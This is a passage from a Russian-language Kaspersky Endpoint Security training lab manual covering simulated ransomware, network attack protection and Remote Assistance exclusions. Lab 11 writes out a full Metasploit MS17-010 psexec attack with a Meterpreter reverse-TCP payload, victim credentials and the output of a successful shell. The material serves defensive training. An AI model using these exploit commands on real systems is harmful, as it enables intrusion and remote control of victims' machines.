	200000				
	Include events from secondary	/ and virtual Administration Servers			

46. Включите хранить событие в базе данных Сервера администрирования: отметьте параметр Store in the Administration Server database for (days) и

47. Сохраните политику: нажмите **ОК** 

нажмите ОК

48. Подождите, пока политика применится

- 53. Перейдите в раздел Events
- 54. В списке название программы выберите Kaspersky Endpoint Security
- 55. Укажите Уровень критичности: Info
- 56. Отметьте опцию Include selected general events

٥	New event selection		
	General	Application name Kaspersky Endpoint Security	~
	Events	Version	
	Devices		
	Time	Task name	
	Access rights	Severity level Info	~
		<ul> <li>Do not include general events</li> <li>Include selected general events</li> </ul>	
		Severity level Event name	
		Info The link is in the Private KSN allowlist	
		Info     Application placed in the trusted group	
		Info Application placed in restricted group	
		Info Host Intrusion Prevention was triggered	

- 57. Из списка событий выберите:
  - Программа помещена в группу с ограничениями
  - Сработал компонент Предотвращение вторжений
- 58. Нажмите Save

#### Задание D: Имитируйте шифрование документа и оцените результат

Найдите на рабочем столе компьютера **Alex-Desktop** и запустите скрипт **ransomware.bat**, который шифрует и удаляет текстовый документ. Проверьте, что скрипт не удаляет текстовый файл.

Изучите на Сервере администрирования события компонента предотвращение вторжений. Убедитесь, что компонент предотвращение вторжений не дал скрипту удалить текстовый документ.

Задание выполняется на компьютере Alex-Desktop.				
	Alex-Desktop			
59. Найдите на рабочем	C:\Windows\system32\cmd.exe			
столе файлы <b>ransomware.bat</b> и	C:\Users\tom.ABC\Desktop\invoice.txt Access is denied			
invoice.txt	**** Congratulations!!! Your personal files are encrypted ****			
	Press any key to continue			

- 60. Запустите файл ransomware.bat
- 61. Проверьте, что на рабочем столе появился файл **invoice.txt.aes**, но и файл **invoice.txt** никуда не делся

- 62. Откройте вебконсоль Kaspersky Security Center
- 63. В боковом меню выберите Monitoring & Reporting | Event Selections
- 64. Отметьте выборку событий Host Intrusion Prevention Events
- 65. Нажмите Reconfigure sorting and start, чтобы запустить выборку событий
- 66. Изучите события в выборке. Найдите событие, которое говорит, что компонент Предотвращение вторжений не дал программе удалить документ

m 4	MONITORING & REPORTING / EVENT SELE	CTIONS
	Selection All selections 🗸	
	+ Add Properties  Reconfigure sorting and start	× Delete
SECORITICENTER	Selection name	Selection type
KSC 🎤 >	User requests	Predefined selection
	Recent events	Predefined selection
	Critical events	Predefined selection
DASHBOARD	Eunctional failures	Predefined selection
REPORTS	Warnings	Predefined selection
EVENT SELECTIONS	Info events	Predefined selection
NOTIFICATIONS	Audit events	Predefined selection
KASPERSKY ANNOUNCEMENTS	Host Intrusion Prevention Events	User-defined selection
ult of Host Intrusion Prevention Events on 04/02/2021 9:1	4:13 am	<mark>р</mark> шх

$\begin{tabular}{lllllllllllllllllllllllllllllllllll$	👩 Assign to category 🛛 👩 Revision history	🗃 Exclude from Adaptive Anomaly Control	Q Search	≈ 7
Event occurred	Device	Event	Description	Administration group
04/02/2021 9.14.27 am	ALEX-DESKTOP	Host Intrusion Prevention was tr >>	Event type: Host Intrusion Preve Name: ransomware bat Application path: CUlyserslake Process ID: 4476 User: ABC/Make (Active user) Component: Host Intrusion Prev	Desktops
04/02/2021 9:14:27 am	ALEX-DESKTOP	Host Intrusion Prevention was tr >>	Event type: Host Intrusion Preve Name: ransomware bat Application path: CUlusersialex Process ID: 4476 User: ABC/Alex (Active user) Component: Host Intrusion Prev Result description: Blocked Path to object: C. (Usersialex.AB Object name: invoice tut Reason: Personal data	Desktops
			<pre> Previous 1 Next &gt;</pre>	Result: 1-20 / 20 total

#### Заключение

Вы настроили компонент Предотвращение вторжений разрешать менять текстовые документы только доверенным программам. Для защиты от программ-вымогателей, добавьте в категорию больше типов документов: \*.doc, \*.docx, \*.xlsx и т.д.

Программы от известных производителей, такие как Microsoft Office, относятся к доверенным, поэтому им компонент Предотвращение вторжений не помешает. А вот программы-вымогатели, даже если их еще нет в базе сигнатур или в KSN, в категорию доверенных не попадут и менять документы не смогут.

# Лабораторная работа 11. Как проверить Защиту от сетевых атак

Сценарий. Периодически вам необходимо проверять свою сеть специальным сканером безопасности, чтобы знать, хорошо ли защищены компьютеры. Kaspersky Endpoint Security на сканируемых компьютерах блокирует атаки и после этого блокирует любые соединения с атакующего компьютера в течение часа. Добавьте компьютер, с которого вы сканируете уязвимости, в список исключений.

Содержание. В этой лабораторной работе:

- 1. Имитируйте атаку по сети с компьютера Kali на компьютер Alex-Desktop
- 2. Изучите отчет о сетевых атаках
- 3. Разблокируйте компьютер Kali
- 4. Настройте защиту от сетевых атак не блокировать Kali
- 5. Имитируйте атаку с компьютера Kali на компьютер Alex-Desktop и изучите результаты

# Задание А: Имитируйте хакерскую атаку, используя уязвимость в PowerShell и получите доступ к удаленному компьютеру

Запустите на компьютере Kali утилиту для выполнения тестирования на проникновение Metasploit Framework. Выполните атаку на HTA (HTML Application), которая загружается через PowerShell.

Компьютеры KSC, DC, Kali,	Alex-Deskto	ри <mark>Tom-l</mark>	<b>Laptop</b> до	олжны быть	ь включены.
	DC	KSC -	Tom-Laptop	Alex-Desktop	Kali
Задание выполняется на ком	ипьютере <b>Ка</b>	li.			
		J	Kali		

- 1. Войдите в систему под учетной записью hacker. Пароль Ka5per5Ky
- 2. Запустите терминал
- 3. Запустите консоль Metasploit Framework. Выполните команду:

msfconsole

4. Выберите шаблон эксплоита. Выполните команду:

use exploit/windows/smb/ms17 010 psexec

msf5 > use exploit/windows/smb/ms17\_010\_psexec msf5 exploit(windows/smb/ms17\_010\_psexec) > set payload windows/x64/meterpreter/reverse\_tcp

5. Выберите вредоносную нагрузку. Выполните команду

set payload windows/x64/meterpreter/reverse tcp

msf5 exploit(windows/smb/msW7\_000\_psexec) > set payload windows/x64/meterpreter/reverse\_tcp
payload ⇒ windows/x64/meterpreter/reverse\_tcp

6. Задайте адрес слушающего сервера (адрес компьютера Kali). Введите команду set LHOST 10.28.0.50

<u>msf5</u> exploit(windows/smb/ms17\_010\_psexec) > set lhost 10.28.0.50 lhost ⇒ 10.28.0.50 7. Задайте адрес машины жертвы. Введите команду

set RHOSTS 10.28.0.100

<u>msf5</u> exploit(<u>windows/smb/ms17\_010\_psexec</u>) > set rhosts 10.28.0.100 rhosts  $\Rightarrow$  10.28.0.100

8. Задайте имя аккаунта жертвы. Введите команду

set smbuser alex

<u>msf5</u> exploit(windows/smb/ms17\_010\_psexec) > set smbuser alex smbuser  $\Rightarrow$  alex

9. Задайте пароль аккаунта жертвы. Введите команду

set smbpass Ka5per5Ky

msf5 exploit(windows/smb/ms17\_010\_psexec) > set smbpass Ka5per5Ky
smbpass 
A5per5Ky

10. Активируйте эксплоит. Выполните команду

```
exploit
```

Обратите внимание, что вам не удалось проэксплуатировать уязвимость

```
    Started reverse TCP handler on 10.28.0.50:4444
    10.28.0.100:445 - Authenticating to 10.28.0.100 as user 'Alex'...
    10.28.0.100:445 - Target OS: Windows 10 Enterprise 2016 LTSB 14393
    10.28.0.100:445 - Built a write-what-where primitive...
    10.28.0.100:445 - Overwrite complete... SYSTEM session obtained!
    10.28.0.100:445 - Selecting PowerShell target
    10.28.0.100:445 - Service failed to start - ACCESS_DENIED
    Exploit completed, but no session was created.
```

Выполнить атаку не представляется возможным, т.к. Kaspersky Endpoint Security по умолчанию блокирует сетевые атаки.

#### Задание В: Изучите отчет о сетевых атаках

Найдите в консоли администрирования список отчетов. Создайте новый шаблон отчета типа **Network attack report**. Создайте отчет, изучите подробности сетевой атаки, найдите адреса атакующей и атакованной машин.

Задание выполняется н	на компьютере <b>КSC</b> .					
		KSC				
11. Откройте веб-		MONITORING & REPOR	TING / REPORTS			
консоль Kaspersky	EEE	+ Add > Open report templat	e properties 🛛 🕞 New report de	livery task 🕞 Export	report Q Searc	h
Security Center	KASPERSKY SECURITY CENTER	Name	Туре	Scope	Description	Created
12. В боковом меню		Protection status				
выберите	📃 KSC 🔑 >	Report on errors	Report on errors	Protection status	This report describe >>	03/26/2021 12:02:15
Monitoring &	▲ MONITORING & REPORTING ↓	Report on protection status	Report on protectio >>	Protection status	This report provides >>	03/26/2021 12:02:15
Reporting   Boports		Deployment				
Reports	PEDOPTS	Report on Kaspersky software v	>> Report on Kaspersk >>	Deployment	This report lists the >>	03/26/2021 12:02:15
13. Нажмите <b>Add</b>	REPORTS	Report on incompatible applica	tions Report on incompat >>	Deployment	This report lists all in >>	03/26/2021 12:02:15

×

×

Q

14. Назовите отчет MONITORING & REPORTING / REPORTS Report name **Network Attack** Network Attack Report 111 Report + Add > Open report template properties > New report delivery task Report type KASPERSKY SECURITY CENTER > Protection status Name Туре 15. Выберите тип > Deployment отчета Report on > Updating network attacks ✓ Threat statistics в разделе Threat Report on threats A MONITORING & REPORTING Report on most heavily infected devices Deployment statistics Report on network attacks Summary report on workstation protection and Windows Server protection applications installed. 16. Нажмите Next Summary report on mail system protection applications installed. Summary report on perimeter defense applications installed. Summary report on types of applications installed. Report on users of infected devices > Other MONITORING & REPORTING / REPORTS 17. Нажмите Next Scope Administration group 111 Device selection + Add > Open report template properties > New report delivery task Selected devices KASPERSKY SECURITY CENTER Name All networked devices > 🛃 Managed devices MONITORING & REPORTING 18. Настройте MONITORING & REPORTING / REPORTS Reporting period выводить From start date to end date EB + Add > Open report te From start date to report creation date информацию за Specified number of days before the report creation date KASPERSKY SECURITY CENTER последние 30 Name 30 Days дней 19. Нажмите ОК A MONITORING & REPORTING m 🗸 MONITORING & REPORTING / REPORTS 20. Во всплывающем окне выберите 141 Save and run 
 + Add
 ▷
 Open report template properties
 ▷
 New report delivery task
 ▷
 Export report
 KASPERSKY Name Type Scope Description SECURITY CENTER Protection status Report on errors Report on errors Protection status This report describe E KSC د بو Report on protection status Report on protectio... >> Protection status This report provides ▲ MONITORING & REPORTING ↓ Deployment Report on Kaspersky software v... >> Report on Kaspersk... >> Deployment This report lists the REPORTS Report report lists all in × Report created Report c report provides. Report Network Attack Report has been successfully created. Report of report provides Save and run Save Report of s report displays .

21. Перейдите на вкладку **Details** 

🖉 Edit  Refresh	▷ Export					
Summary Details						
Report on network att	acks					
Friday, April 2, 2021 11:57:45 This report provides informat	AM ion about network a	ttacks registere	ad on devices. This ren	ort is generated for all	aroups	
and a second provides information	ion about network a	1	sa on aceices. This rep	for the generated for all	r groups.	
1.0					Intrusion.Win.MS17-010.o: 1	
0.8						
0.7 -						
0.6 -				tacks		
0.5 -				ž		
0.4 -				det wo		
0.3 -				2		
0.2 -						
0.1 -						
0.0						
Coprob						
Search	Asta aliana anima	Attack IPs	Devices attacked	Groups attacked	First attempted run blocked	Last attempted run blo
Attack	Attacks count					Friday April 2, 2021 0:4
Attack	1	1	1	1	Friday, April 2, 2021 9:48:14 AM	111uay, April 2, 2021 5.4

22. Найдите в отчете IP-адрес атаковавшего и DNS-имя атакованного компьютеров

🖉 Edit 📿 Refresh 🕞 Export

EVENT SELECTION

- 23. Закройте отчет
- 24. В боковом меню выберите Event Selections
- 25. Нажмите Add, чтобы создать новую выборку событий
- 26. Назовите выборку **Network** attacks



Predefined selection

Predefined selection

Predefined selection

New event selection		
General	Selection name	Network attacks
Events	Search for the following string	
Devices		
Time		events
Access rights	3000	
2	<ul> <li>Limit search to this number o</li> </ul>	fevents
	200000	

Critical events

Warnings

Eunctional failures

- 27. Перейдите в раздел **Events**
- 28. В поле Application name выберите Kaspersky Endpoint Security
- 29. В поле Severity level выберите Critical
- 30. Отметьте параметр Include selected general events
- 31. В списке событий найдите и отметьте событие Network attack detected
- 32. Сохраните выборку событий: нажмите **Save**

New e	event selection					
Gene	ral	Application name			ersky Endpoint Security	
Event	S	Manajara				
Devic	es	Version				
Time		Task name Severity level				
Time				Critical		
Acces	ss rights			Critic	cal	
		<ul> <li>Do not include general events</li> </ul>				
		Include selected general events     Severity level				
					Event name	
	Critical		Critical		License Agreement violated	
			Critical		License has almost expired	
			Critical		Databases are missing or corrupted	



33. В появившемся сообщении отметьте параметр Go to selection result и нажмите Save

			Application startup pron	ibited
≡		ጠ 🗸	MONITORING & REPORTING / EVENT SEL	ECTIONS
			Selection All selections	
		ED	+ Add Properties > Reconfigure sorting and start	× Delete
	SECORITYCENTER	ER	Selection name	Selection type
Ð	KSC	< عر	User requests	Predefined selection
			Recent events	Predefined selection
A	MONITORING & REPOR	ling 🗸	Critical events	Predefined selection
	DASHBOARD		Functional failures	Predefined selection
	REPORTS		Warning	×
	EVENT SELECTIONS		Save	~
	NOTIFICATIONS		Do you want to save the selection?	
			Audit ev	
	KASPERSKY ANNOUNCE	MENTS	Host Int	
T=	DEVICES	>	Save	Cancel

34. Изучите события в выборке

¢	Result of Network attacks on 04/I	02/2021 12:04:20 pm		
		xport to file 🛛 🛱 Assign to category 🛛 🖓 Revision histor	y 📑 Exclude from Adaptive Anomaly Control	<b>Q</b> Search
	Event occurred	Device	Event	Description
	04/02/2021 9 48 15 am	ALEX-DESKTOP	Network attack detected	User: ABC\Alex (Active user) Component: Network Threat Protection Result description: Blocked Name: Intrusion Win MS17-010.0 Object: TCP from 10.28.0.50 at 10.28.0.100.445 Object: the: Network packet Object: name: TCP from 10.28.0.50 at 10.28.0.100.445 Additional: 10.28.0.100 Database release date: 4/2/2021 6.04:00.445

### Задание С: Разблокируйте компьютер Kali

Откройте окно Kaspersky Endpoint Security на атакованном компьютере. Откройте мониторинг сети. Найдите в нем список заблокированных компьютеров и удалите из списка атаковавший компьютер **Kali**.

Задание выполняется на компьютере	Задание выполняется на компьютере Alex-Desktop.				
	Alex-Desktop				
35. Откройте интерфейс Kaspersky Endpoint Security: кликните по иконке в области уведомлений	⟨ Kaspersky Endpoint Security	No active threats detected	? – 🗆 X		
36. Нажмите More tools   Network Monitor	Protection components Total: 15. Enabled: 13	Reports         Backup         Threat detection technologies         Kaspersky Security Network         Application Activity Monitor         Network Monitor         Network Cools	<b>Database Update</b> of databases and application modules		

37. Откроется окно	K Network Monitor – 🗆 🗙											
Network Monitor	Network activity	Network	activity			Block	all network activity View ~ Q Sea			Q Seard	h	0
	↓ 7.11 KB/s ↑ 0.31 KB/s	Application	Proce	Dir	Protoc	Local IP a	External IP	Loc	Re	Du	Received	Sent
	Open ports	System	4	2 co							7.06 KB/s	0.29 KB/s
	41	🗋 Syst	4	Out	TCP	10.28.0.100	10.68.18.4	49783	445	12:	6.98 KB/s	0.23 KB/s
	Network traffic ↓ 61.22 KB	🗋 Syst	4	Out	TCP	10.28.0.100	10.28.0.10	49805	445	12:	0.08 KB/s	0.06 KB/s
	<b>↑</b> 33.29 KB	✓ ■ Host P	1012	1 co							0.02 KB/s	0.01 KB/s
	Blocked computers	Hos	1012	Out	ТСР	10.28.0.100	51.103.5.159	61854	443	12:	0.02 KB/s	0.01 KB/s
		🗸 🍃 Windo	3868	1 co							0.02 KB/s	0.01 KB/s
		🍋 Win	3868	Out	ТСР	10.28.0.100	51.103.5.159	61855	443	12:	0.02 KB/s	0.01 KB/s
									Receiv	ved 7.11 KE	3/s Sent	0.31 KB/s
38. Откройте список	Network Monitor										- [	) X
заблокированных	Network activity	Blocked computers							Q Seard	h	0	
компьютеров:	1.17 KB/s	Computer address					Time when blocking started					
одноименный	Open ports	10.28.0.50					4/23/2021 11	:00:30 AN	1			
раздел	41 Network traffic ↓ 61.22 KB ↑ 33.29 KB											
	Blocked computers	Unblock	c							Un	block all cor	nputers

- 39. Разблокируйте компьютер Kali: выберите компьютер 10.28.0.50 и нажмите Unblock
- 40. Закройте все окна Kaspersky Endpoint Security

#### Задание D: Настройте исключения для защиты от сетевых атак

Откройте в политике Kaspersky Endpoint Security настройки защиты от сетевых атак. Найдите список доверенных компьютеров и добавьте в него IP-адрес компьютера **Kali** (10.28.0.50).

Задание выполняется на компьютере <b>KSC</b> .				
L L L L L L L L L L L L L L L L L L L				
41. Откройте веб- консоль Kaspersky Security Center	≡ m &	DEVICES / POLICIES & PROFILES		
42. В боковом меню выберите <b>Devices</b>   <b>Policies &amp; Profiles</b>	KASPERSKY SECURITY CENTER	+ Add          ⊂ Refresh list         ⊕ Show in group         ⊡ Copy         ⊕ Move         × Delete         ⊕ Distribution            Stat.         >>           Policy name         Application		
43. Откройте политику Kaspersky Endpoint Security for Windows	Image: KSC       Image: Monitoring & Reporting       >         Image: Monitoring & Reporting       >         Image: Devices       Image: Monitoring & Reporting         Image: Policies & PROFILes	Kaspersky Endpoint Security for Windows (11.6.0)         Kaspersky Endpoint Security for Windows (11.6.0)         Kaspersky Security Center 13 Network Agent         Kaspersky Security Center 13 Network Agent		

- 44. Перейдите на вкладку **Application Settings**
- 45. Перейдите в раздел Essential Threat Protection
- 46. Пройдите по ссылке Network Threat Protection
- 47. Откройте список доверенных компьютеров: перейдите по ссылке *Exclusions*

Advanced Threat Protection Essential Threat Protection Security Controls Detection and Response Data Encryption Local Tasks	File Threat Protection This component resides in RAM Web Threat Protection This component protects inbou	l, scanning all opened, sa	ved, and active files to e		
Essential Threat Protection Security Controls Detection and Response Data Encryption Local Tasks	Web Threat Protection This component protects inbou	r, scanning au openeu, sa		insure maximum protection at all times	
Security Controls Detection and Response Data Encryption Local Tasks	Web Threat Protection This component protects inbou			naure maximum protection at all offices.	
Data Encryption		und traffic on your compu	iter.		
Local Tasks					
	Mail I nreat Protection This component scans incomin	ig and outgoing message	s for dangerous objects	The following protocols are supported: POP3, SMTP, IM	IAP, MAPI, and NNTP.
General settings	Network Threat Protection If Kaspersky Endpoint Security f will be blocked.	l 'or Windows detects an at	tempted attack on your	computer, then any network activity of the attacking co	mputer towards your c
Network Threat Protection					F
					,
letwork Threat Protection					🔒 Enforc
Network I hreat Protection ENABLED If Kaspersky Endpoint Security for Windows attacking computer towards your computer	) detects an attempted attack ( r will be blocked.	on your computer, then	any network activity o	f the	
letwork Threat Protection settings					🔒 Enford
60 min xclusions at of IP addresses from which network attacks w	vill not be blocked. Informatio	in about such attacks wil	ll not be logged.		
IAC spoofing protection mode					🔒 Enforc
<ul> <li>MAC Spoofing Protection DISABLED</li> <li>Notify only</li> <li>Notify and block</li> </ul>					
Exclusions				Add exclusion	
				IP address	
				10.28.0.50	
+ Add × Delete ﷺ Impor	t 📰 Export				
IP addresses					
		N	o data		
Exclusions					(
+ Add X Delete = Impo	ort 🍧 Export				

### 48. Нажмите **Add**

#### 49. Введите IP-адрес компьютера **Kali 10.28.0.50** и нажмите **OK**

#### 50. Нажмите ОК

- 51. Сохраните политику: нажмите **ОК**
- 52. Подождите, пока политика применится

### Задание Е: Имитируйте атаку с компьютера Kali на компьютер Alex-Desktop и изучите результаты

Еще раз имитируйте атаку компьютера **Alex-Desktop** с компьютера **Kali** используя Metasploit Framework. Проверьте, что теперь Kaspersky Endpoint Security не сообщает об атаке.

Задание выполняется на компьютере Kali.



53. Войдите в систему под учетной записью Hacker. Пароль — Ка5рег5Ку

#### 54. Откройте терминал

exploit

55. Повторно активируйте эксплоит. Выполните команду:

[*]	Started reverse TCP handler on 10.28.0.50:4444
[*]	10.28.0.100:445 - Authenticating to 10.28.0.100 as user 'Alex'
[*]	10.28.0.100:445 - Target OS: Windows 10 Enterprise 2016 LTSB 14393
[*]	10.28.0.100:445 - Built a write-what-where primitive
[+]	10.28.0.100:445 - Overwrite complete SYSTEM session obtained!
[*]	10.28.0.100:445 - Selecting PowerShell target
[*]	10.28.0.100:445 - Executing the payload
[+]	10.28.0.100:445 - Service start timed out, OK if running a command or non-service executable
[*]	Sending stage (206403 bytes) to 10.28.0.100
[*]	Meterpreter session 2 opened (10.28.0.50:4444 → 10.28.0.100:49282) at 2021-04-27 14:15:47 -0400
met	erpreter >

- 56. Убедитесь, что вам удалось проэксплуатировать уязвимость в протоколе SMB
- 57. Запустите **shell**. Выполните команду:



В дополнение: по желанию можно ввести команду dir для отображения директорий

#### Заключение

Вы настроили защиту от сетевых атак не реагировать на атаки с заданного IP-адреса. Исключайте таким образом адреса сетевых сканеров безопасности.

Кроме этого, вы создали новый отчет и новую выборку событий. В Kaspersky Security Center есть много типов отчетов. Если вам не хватает отчетов, которые уже есть на закладке Отчеты, посмотрите какие еще отчеты вы можете создать. Если нужного или удобного отчета нет, сделайте выборку интересных вам событий. Настройте условия по типам событий, времени, группе компьютеров и т.д.

# Лабораторная работа 12. Как настроить защиту для удаленного доступа к компьютеру

Сценарий. Чтобы удаленно помогать сотрудникам, вы подключаетесь к их компьютерам через Удаленный помощник Windows. Оказалось, что Kaspersky Endpoint Security не реагирует на ваши действия через Удаленного помощника Windows. Сделайте исключение для Удаленного помощника Windows, чтобы управлять Kaspersky Endpoint Security.

Содержание. В этой лабораторной работе:

- 1. Попробуйте управлять Kaspersky Endpoint Security через Удаленный помощник Windows
- 2. Разрешите Удаленному помощнику Windows взаимодействовать с Kaspersky Endpoint Security
- 3. Откройте локальный отчет Kaspersky Endpoint Security в сессии Удаленного помощника Windows

#### Задание А: Попробуйте управлять Kaspersky Endpoint Security через Удаленный помощник Windows

Откройте политику Kaspersky Endpoint Security. Найдите список доверенных программ. Добавьте исполняемый файл *msra.exe* в список доверенных. Разрешите ему взаимодействовать с интерфейсом Kaspersky Endpoint Security.

Компьютеры KSC, DC, Alex-Desktop и Tom-Laptop должны быть включены.				
	Tom-Laptop Alex-Desktop			
Начните выполнять задание на компьютере Alex-De	esktop.			
Alex-	Desktop			
1. Запустите Outlook	🖾 Run 🛛 🗙			
2. Нажмите <b>Win+R</b>				
<ol> <li>В поле ввода введите msra</li> </ol>	Iype the name of a program, folder, document, or Internet resource, and Windows will open it for you.			
4. Нажмите кнопку <b>ОК</b>	<u>O</u> pen: msra ~			
	OK Cancel <u>B</u> rowse			

5.	Выберите опцию Invite someone you trust to help you		÷	<ul> <li>✓ Windows Remote Assistance</li> <li>Do you want to ask for or offer help?</li> <li>Windows Remote Assistance connects two computers so that one person can help troubleshoot or fix problems on the other person's computer.</li> <li>→ Invite someone you trust to help you Your helper can view your screen and share control of your computer.</li> <li>→ Help someone who has invited you Respond to a request for assistance from another person.</li> <li>Privacy statement</li> </ul>
6.	Выберите Use email to send an invitation		÷	<ul> <li>✓ Windows Remote Assistance</li> <li>How do you want to invite your trusted helper?</li> <li>You can create an invitation and send it to your helper. You can also use Easy Connect to simplify connections to your helper.</li> <li>→ Save this invitation as a file You can send this invitation as an attachment if you use web-based email.</li> <li>→ Use email to send an invitation file.</li> <li>→ Use Easy Connect Use this option if Easy Connect is also available to your helper.</li> </ul>
7.	Укажете адресата: в поле <b>То:</b> введите <i>tom@abc.lab</i>	E → O ↑ ↓ C + = FILE MESSAGE INSERT OPTION	Yo S	ou have received a Remote Assistance invitation - Message (Plain Text) ?
8.	Нажмите <b>Send</b>	Paste ↓ ∜ Format Painter Clipboard IS	A - Basic Te	↓       ↓
		To       tom@abc.labl         Send       Cc         Subject       You have received a Remo         Attached       Invitation.msrcincider         Hi,       I need help with my computer. Would yo connect, you can view my screen and we         To accept this invitation, double-click the         Thanks.         Note: Do not accept this invitation unless	u plea can cl file at	sistance invitation 3 ase use Windows Remote Assistance to connect to my computer so you can help me? After you chat online. Ittached to this message. know and trust the person who sent it.
9.	Запишите пароль удаленного подключения			Windows Remote Assistance -  X  Chat  Settings  Troubleshoot  Help  Tell your helper the connection password  ZGB83R9QLQTY

Waiting for incoming connection...

Переключитесь на компьютер **Tom-Laptop**.



10. Войдите в систему под учетной записью abc\Tom. Пароль — Ka5per5Ky



Переключитесь на компьютер Alex-Desktop.				
Alex-Desktop				
16. Разрешите пользователю <b>Тот</b> подключи рабочей станции. В появившемся окне на	іться к вашей ажмите <b>Yes</b>	Windows Remote Assistance       X         Would you like to allow Tom to connect to your computer?         After connecting, Tom will be able to see whatever is on your desktop.         Yes       No         What are the privacy and security concerns?		
Переключитесь на компьютер <b>Tom-Laptop</b> .				
	Tom-Laptop			
<ul> <li>17. Haxmute Request control B левом верхнем углу окна</li> <li>Request control I I Fit to screen          Chat          Settings         Phip</li> <li>Image: Setting I Pause          Chat          Setting I Pause          Setting I Pause          Setting I Pause          Chat          Setting I Pause          Setting I Pause</li></ul>				
Переключитесь на компьютер Alex-Desktop.				
	Alex-Desktop			
18. Разрешите пользователю <b>Тот</b> управлять вашей рабочей станции. В появившемся окне нажмите <b>Yes</b>	Windows Remote Assistance Would you like to allo To stop sharing control, in the	e X X X X X X X X X X X X X X X X X X X		
	prompts			

Переключитесь на компьютер Tom-Laptop.



- 19. Откройте интерфейс Kaspersky Endpoint Security
- 20. Убедитесь, что вы не можете управлять Kaspersky Endpoint Security удаленно



# Задание В: Разрешите Удаленному помощнику Windows взаимодействовать с Kaspersky Endpoint Security

POLICIES & PROFILES

Откройте политику Kaspersky Endpoint Security. Найдите список доверенных программ. Добавьте исполняемый файл *msra.exe* в список доверенных. Разрешите ему взаимодействовать с интерфейсом Kaspersky Endpoint Security.

Задание выполняется на компьютере <b>KSC</b> .				
21. Откройте веб-консоль Kaspersky Security Center		DEVICES / POLICIES & PROFILES Current path: KSC		
22. В боковом меню выберите <b>Devices  </b> Policies & Profiles	KASPERSKY SECURITY CENTER	+ Add          ⊂ Refresh list           ⊕ Show in group           © Copy           ⊕ Move             Stat	C Delete  C Distribution Application	
23. Откройте политику Kaspersky Endpoint Security for Windows		Kaspersky Endpoint Security for Windows (116.0) Kaspersky Security Center 13 Network Agent	Kaspersky Endpoint Security for >>	

Kaspersky Security for Windows Server

#### 24. Перейдите на вкладку Application Settings

- 25. Перейдите в раздел General settings
- Откройте настройки исключений: пройдите по ссылке *Exclusions*

27. Чтобы добавить доверенное приложение, пройдите по ссылке *Trusted applications* в левом нижнем углу экрана



28. Добавьте служебный процесс Microsoft Remote Assistance: нажмите кнопку Add

⊚	Trusted ap	oplications		
	<ul><li>Merge</li><li>Allow</li></ul>	values when inhe use of local truste	eriting d applications	
	+ Add	imes Delete	and	
		Application	Status	Path
		<u>powershell.exe</u>	Excluded ~	%systemroo%\System32\WindowsPowerShell\v1.0\powershell.exe

- 29. В поле **Path** введите %systemroot%\system32 \msra.exe
- 30. Снимите отметку с параметров:
  - Do not scan opened files
  - Do not inherit restrictions of the parent process (application)

0	Application			
	Path or path mask to the application	%systemroot%\system32\msra.exe		
	Comment			
	Do not scan opened files			
	<ul> <li>Do not monitor application activit</li> </ul>	У		
	Do not inherit restrictions of the parent process (application)			
	Do not monitor child application a	activity		
	Apply exclusion recursively			
	Allow interaction with the application interface			
	Do not block interaction with AMS	I Protection component		
	Do not scan network traffic			

- 31. Разрешите Windows Remote Assistance взаимодействовать с интерфейсом KES: отметьте параметр Allow interaction with the application interface и нажмите OK
- 32. Сохраните список программ: нажмите **ОК**
- 33. Сохраните политику: нажмите **ОК**
- 34. Подождите, пока политика применится

0	Trusted a	pplications		
	<ul><li>Merg</li><li>Allow</li></ul>	e values when inher vuse of local trusted	iting I applications	
	+ Add	I × Delete	ਵ≞ Import ਵ≞ Export	
		Application	Status	Path
		powershell.exe	Excluded ~	%systemroo%\System32\WindowsPowerShell\v1.0\powershell.exe
		<u>msra.exe</u>	Excluded ~	%systemroot%\system32\msra.exe

# Задание C: Откройте локальный отчет Kaspersky Endpoint Security в сессии Удаленного помощника Windows

Подключитесь Удаленным помощником Windows с компьютера **Tom-Laptop** к компьютеру **Alex-Desktop**. Откройте окно отчетов Kaspersky Endpoint Security.

#### Задание выполняется на компьютере Tom-Laptop.



- 35. Откройте окно отчетов Kaspersky Endpoint Security: нажмите **More tools | Reports**
- 36. Закройте все окна Kaspersky Endpoint Security
- 37. Закройте все окна Windows Remote Assistance

screen 🤍 Chat ags Settings 🌏 He	elp				
K Reports				-	
<			G		
0	System audit		0	Update Save	e report
System audit	Importance: 🚺 🛆 🛄	Q. Search			
Advanced Threat Protection	Time: All • 4/20/	2021 🗐 4/24	4/2021 📺 >		
Behavior Detection	Event date 4	Event	Component	Application	Applica
Exploit Prevention	1 Today, 4/23/2021 1:28:09 PM	Task completed	Update	Kaspersky Endpoint Security	Kasper
Host Intrusion Prevention	<ol> <li>Today, 4/23/2021 1:27:47 PM</li> </ol>	Task started	Update	Kaspersky Endpoint Security	Kasper
O Essential Threat Protection -	1 Today, 4/23/2021 11:26:57 AN	1 Task completed	Update	Kaspersky Endpoint Security	Kasper
File Threat Protection	() Today, 4/23/2021 11:26:49 AM	1 Task started	Update	Kaspersky Endpoint Security	Kasper
Web Threat Protection	() Today, 4/23/2021 10:44:55 AM	1 Task completed	Update	Kaspersky Endpoint Security	Kasper
Mail Threat Protection	1 Today, 4/23/2021 10:44:47 AN	1 Task started	Update	Kaspersky Endpoint Security	Kasper
Firewall	1 Today, 4/23/2021 9:42:59 AM	Task completed	Update	Kaspersky Endpoint Security	Kasper
Network Threat Protection	(i) Today, 4/23/2021 9:42:48 AM	Task started	Update	Kaspersky Endpoint Security	Kasper
AMSI Protection	<ol> <li>Today, 4/23/2021 9:26:45 AM</li> </ol>	Task started	Adaptive Anomaly Control	Kaspersky Endpoint Security	Kasper
<b>A a b a b b</b>	<ol> <li>Today, 4/23/2021 9:26:45 AM</li> </ol>	Task started	Behavior Detection	Kaspersky Endpoint Security	Kasper
🕼 Security Controls	<ol> <li>Today, 4/23/2021 9:26:45 AM</li> </ol>	Task started	Exploit Prevention	Kaspersky Endpoint Security	Kasper
Adaptive Anomaly Control	<ol> <li>Today, 4/23/2021 9:26:44 AM</li> </ol>	Task started	Web Threat Protection	Kaspersky Endpoint Security	Kasper
Application Control	<ol> <li>Today, 4/23/2021 9:26:44 AM</li> </ol>	Task started	Web Threat Protection	Kaspersky Endpoint Security	Kasper
Device Control	<ol> <li>Today, 4/23/2021 9:26:44 AM</li> </ol>	Task started	Network Threat Protection	Kaspersky Endpoint Security	Kasper
Web Control	(i) Todav. 4/23/2021 9:26:44 AM	Task started	Web Control	Kaspersky Endpoint Security	Kaspe

#### Заключение

Вы разрешили программе удаленного доступа взаимодействовать с интерфейсом программы Kaspersky Endpoint Security.

